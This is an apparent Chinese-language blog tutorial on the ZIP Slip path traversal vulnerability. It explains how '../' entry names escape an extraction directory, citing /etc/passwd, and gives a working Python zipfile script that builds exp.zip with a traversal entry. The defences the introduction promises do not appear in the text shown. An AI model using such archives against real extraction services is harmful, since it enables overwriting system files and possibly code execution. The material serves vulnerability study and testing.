Python zipfile 模块与 ZIP Slip 漏洞的 POC 制作
Python zipfile 模块与 ZIP Slip 漏洞的 POC 制作
ZIP Slip(目录遍历漏洞)是压缩文件处理中高危安全漏洞,攻击者可通过构造恶意 ZIP 文件突破解压路径限制,实现任意文件覆盖甚至远程代码执行。本文将以 Python zipfile 模块为核心,结合漏洞原理与防御机制,演示如何制作 ZIP Slip 的 POC(概念验证代码),并分析其技术实现与安全影响。
一、ZIP Slip 漏洞原理
ZIP Slip 的核心在于解压程序未对压缩包内文件的路径名进行严格校验,允许攻击者通过 ../(Linux/macOS)或 ..\(Windows)等相对路径符号跳出目标解压目录,将文件写入系统敏感位置。例如:
- 攻击场景:解压目录预设为
/tmp/upload,攻击者构造文件名../../etc/passwd的恶意文件。 - 实际路径:解压时路径拼接为
/tmp/upload/../../etc/passwd,最终写入/etc/passwd,覆盖系统用户配置文件。
二、构造恶意 ZIP 文件
攻击者需创建包含路径遍历文件名的 ZIP 文件。以下代码演示如何生成恶意 ZIP:
import zipfile
if __name__ == "__main__":
try:
# 创建或追加内容到一个名为 exp.zip 的 ZIP 压缩文件
zipFile = zipfile.ZipFile("exp.zip", "a", zipfile.ZIP_DEFLATED)
# 在 exp.zip 中添加 test.txt 文件
zipFile.writestr("test.txt", b"test")
# 将本地的a.png 压缩到 exp.zip 中(利用open.read读取本地文件二进制数据)
zipFile.writestr("a.png", open("a.png", "rb").read())
# 当末尾为 / 时,创建空目录 dir
zipFile.writestr("dir/", b"")
# 在目录 dir 下创建 test2.txt 文件
zipFile.writestr("dir/test2.txt", b"test")
# 路径遍历 test3.txt, 之前上面均为用于构造符合系统要求的zip文件, 路径遍历主要通过 ../..
zipFile.writestr("../../../../../test3.txt", b"test")
zipFile.close()
except IOError as e:
raise e
执行后就会生成一个 exp.zip 的压缩包

浙公网安备 33010602011771号